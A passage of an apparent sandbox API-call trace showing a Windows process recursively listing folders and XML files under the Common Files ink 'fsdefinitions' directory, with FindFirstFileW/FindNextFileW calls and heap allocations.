ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor-kor.xml", cAlternateFileName="")) returned 0 [0054.753] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.753] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0054.753] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main", cAlternateFileName="")) returned 1 [0054.753] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260840 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cd023, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd05, dwReserved0=0x0, dwReserved1=0x0, cFileName="base.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="baseAltGr_rtl.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_altgr.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_ca.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_heb.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_jpn.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_kor.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x269, dwReserved0=0x0, dwReserved1=0x0, cFileName="base_rtl.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x40e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3af9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr.xml", cAlternateFileName="")) returned 1 [0054.758] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-changjei.xml", cAlternateFileName="")) returned 1 [0054.759] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-dayi.xml", cAlternateFileName="")) returned 1 [0054.759] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 1 [0054.759] FindNextFileW (in: hFindFile=0x4260840, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ac3, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-phonetic.xml", cAlternateFileName="")) returned 0 [0054.759] FindClose (in: hFindFile=0x4260840 | out: hFindFile=0x4260840) returned 1 [0054.760] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.760] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 0 [0054.760] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.760] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0054.760] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0054.760] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260800 [0054.762] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.762] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0054.762] FindNextFileW (in: hFindFile=0x4260800, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0054.762] FindClose (in: hFindFile=0x4260800 | out: hFindFile=0x4260800) returned 1 [0054.762] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.762] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0054.762] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav", cAlternateFileName="")) returned 1 [0054.762] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42606c0 [0054.762] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.762] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1 [0054.762] FindNextFileW (in: hFindFile=0x42606c0, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 0 [0054.763] FindClose (in: hFindFile=0x42606c0 | out: hFindFile=0x42606c0) returned 1 [0054.763] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 [0054.763] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0054.763] FindNextFileW (in: hFindFile=0x4260680, lpFindFileData=0x38cf08c | out: lpFindFileData=0x38cf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0054.763] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x42d3f80 [0054.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260740 [0054.763] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.763] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0054.763] FindNextFileW (in: hFindFile=0x4260740, lpFindFileData=0x38cee10 | out: lpFindFileData=0x38cee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0054.763] FindClose (in: hFindFile=0x4260740 | out: hFindFile=0x4260740) returned 1 [0054.763] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42d3f80 | out: hHeap=0x6a0000) returned 1 